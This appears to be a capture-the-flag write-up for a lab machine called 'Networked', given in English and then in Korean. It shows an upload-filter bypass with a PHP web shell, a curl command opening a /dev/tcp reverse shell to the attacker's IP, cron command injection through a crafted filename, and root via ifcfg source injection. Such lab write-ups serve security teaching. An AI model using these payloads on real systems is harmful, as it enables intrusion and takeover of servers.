Target IP: 10.10.10.146

Initial Reconnaissance

The scan showed an old CentOS/PHP stack.

nmap -p- -sC -sV 10.10.10.146
22/tcp open  ssh   OpenSSH 7.4
80/tcp open  http  Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Directory fuzzing found a /backup/ directory and an /uploads/ directory.

wfuzz -c -z file,/usr/share/dirb/wordlists/common.txt --hc 404 "http://10.10.10.146/FUZZ"

Source Code From /backup

/backup/ held a backup.tar containing the whole application source.

tar -xvf backup.tar   # index.php lib.php photos.php upload.php

backup.tar recovered from the /backup directory

Reading lib.php and upload.php revealed exactly how the upload was validated:

  • the extension is checked (but a double extension like .php.png slips through),
  • the MIME type is trusted from the request’s Content-Type header,
  • the file must start with an image magic signature,
  • the filename’s leading part (before the first .) must be a valid IP, with _ mapped to ..

Bypassing the Upload Filter

All four checks are defeatable at once. I built a file that begins with a PNG-ish magic header, contains a PHP payload, and is named so the leading part is a valid IP.

GIF89a;
<?php system($_GET['cmd']); ?>

Uploaded as 10_10_14_20.php.png with Content-Type: image/png, the checks pass: 10_10_14_20 maps to the valid IP 10.10.14.20, and Apache still executes the .php.png file as PHP. Requesting it with a command triggered a reverse shell as apache.

curl "http://10.10.10.146/uploads/10_10_14_20.php.png?cmd=bash%20-i%20>%26%20/dev/tcp/10.10.14.20/5555%200>%261"

Reverse shell as apache after the upload filter bypass

Command Injection via a Crafted Filename

In /home/guly there was a cron job running every three minutes as guly.

*/3 * * * * php /home/guly/check_attack.php

check_attack.php scans the uploads directory and, for any filename that is not a valid IP, passes the filename straight into exec().

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

Since $value is the raw filename, a file whose name contains shell metacharacters becomes command injection. Special characters are awkward to place directly, so I base64-encoded the reverse shell and created the file from the apache shell.

cd /var/www/html/uploads
touch -- "hehe; echo <base64-reverse-shell> | base64 -d | bash"

Within three minutes the cron ran and connected back as guly, giving the user flag.

[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly)
[guly@networked ~]$ cat user.txt

Privilege Escalation via ifcfg

guly could run one script as root.

(root) NOPASSWD: /usr/local/sbin/changename.sh

The script prompts for interface values, validates them against a regex, and writes them into an ifcfg-guly config file before running ifup guly0.

regexp="^[a-zA-Z0-9_\ /-]+$"

The key detail is that the regex allows spaces. On Red Hat systems ifup sources the config file with the shell, so a value like NAME=anything bash is parsed as an assignment followed by a command. When ifup sources it, bash runs, and ifup runs as root.

$ sudo /usr/local/sbin/changename.sh
interface NAME:
anything bash
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Root shell through the ifcfg source injection

Takeaways

Networked is a compact tour of injection. The foothold stacks four upload weaknesses that each look reasonable in isolation but combine into remote code execution. The lateral move is a reminder that a filename is untrusted input. Feeding one into exec() is command injection just like any other string.

The root step is a subtle one worth remembering: on Red Hat, network config files are sourced, not parsed, so a config “value” with a space becomes a command executed as root.


대상 IP: 10.10.10.146

초기 정찰

스캔은 오래된 CentOS/PHP 스택을 보여줬습니다.

nmap -p- -sC -sV 10.10.10.146
22/tcp open  ssh   OpenSSH 7.4
80/tcp open  http  Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

디렉터리 퍼징으로 /backup/과 /uploads/를 찾았습니다.

wfuzz -c -z file,/usr/share/dirb/wordlists/common.txt --hc 404 "http://10.10.10.146/FUZZ"

/backup에서 나온 소스 코드

/backup/에는 애플리케이션 전체 소스가 담긴 backup.tar가 있었습니다.

tar -xvf backup.tar   # index.php lib.php photos.php upload.php

/backup 디렉터리에서 확보한 backup.tar

lib.php와 upload.php를 읽어보니 업로드가 정확히 어떻게 검증되는지 드러났습니다.

  • 확장자를 확인하지만, .php.png 같은 이중 확장자는 빠져나갑니다,
  • MIME 타입은 요청의 Content-Type 헤더를 그대로 신뢰합니다,
  • 파일은 이미지 magic 시그니처로 시작해야 합니다,
  • 파일명의 앞부분(첫 . 이전)은 유효한 IP여야 하며, _는 .로 매핑됩니다.

업로드 필터 우회

네 가지 검사를 한 번에 무력화할 수 있습니다. PNG 비슷한 magic 헤더로 시작하고, PHP 페이로드를 담고, 앞부분이 유효한 IP가 되도록 이름 붙인 파일을 만들었어요.

GIF89a;
<?php system($_GET['cmd']); ?>

Content-Type: image/png으로 10_10_14_20.php.png으로 업로드하면 검사를 통과합니다. 10_10_14_20은 유효한 IP 10.10.14.20으로 매핑되고, Apache는 여전히 .php.png 파일을 PHP로 실행하거든요. 명령을 붙여 요청하니 apache 권한의 reverse shell이 붙었습니다.

curl "http://10.10.10.146/uploads/10_10_14_20.php.png?cmd=bash%20-i%20>%26%20/dev/tcp/10.10.14.20/5555%200>%261"

업로드 필터 우회 후 얻은 apache 권한 reverse shell

조작된 파일명을 통한 Command Injection

/home/guly에는 3분마다 guly 권한으로 도는 cron 작업이 있었습니다.

*/3 * * * * php /home/guly/check_attack.php

check_attack.php는 uploads 디렉터리를 스캔해서, 유효한 IP가 아닌 파일명을 그대로 exec()에 넘깁니다.

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$value가 가공되지 않은 파일명이기 때문에, 셸 메타문자가 든 이름의 파일은 곧 command injection이 됩니다. 특수문자를 그대로 넣기는 까다로워서, reverse shell을 base64로 인코딩해 apache 셸에서 파일을 만들었습니다.

cd /var/www/html/uploads
touch -- "hehe; echo <base64-reverse-shell> | base64 -d | bash"

3분 안에 cron이 실행되며 guly로 연결이 붙었고, user 플래그를 얻었습니다.

[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly)
[guly@networked ~]$ cat user.txt

ifcfg를 통한 권한 상승

guly는 특정 스크립트를 root로 실행할 수 있었습니다.

(root) NOPASSWD: /usr/local/sbin/changename.sh

이 스크립트는 인터페이스 값을 입력받아 정규식으로 검증한 뒤, ifcfg-guly 설정 파일에 쓰고 ifup guly0을 실행합니다.

regexp="^[a-zA-Z0-9_\ /-]+$"

핵심은 이 정규식이 공백을 허용한다는 점이에요. Red Hat 계열에서는 ifup이 설정 파일을 셸로 source하기 때문에, NAME=anything bash 같은 값은 할당 뒤에 명령이 오는 형태로 파싱됩니다. ifup이 이걸 source하면 bash가 실행되고, ifup은 root로 돌아가죠.

$ sudo /usr/local/sbin/changename.sh
interface NAME:
anything bash
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

ifcfg source injection으로 얻은 root 셸

정리

Networked는 injection을 압축해서 보여주는 머신입니다. 발판은 각각 따로 보면 그럴듯한 업로드 약점 네 개가 합쳐져 원격 코드 실행이 되는 구조예요. 수평 이동은 파일명이 신뢰할 수 없는 입력이라는 걸 상기시킵니다. 파일명을 exec()에 넣는 건 다른 문자열과 마찬가지로 command injection이니까요.

root 단계는 기억해둘 만한 미묘한 지점입니다. Red Hat에서 네트워크 설정 파일은 파싱되는 게 아니라 source되기 때문에, 공백이 든 설정 “값”이 root로 실행되는 명령이 되어버립니다.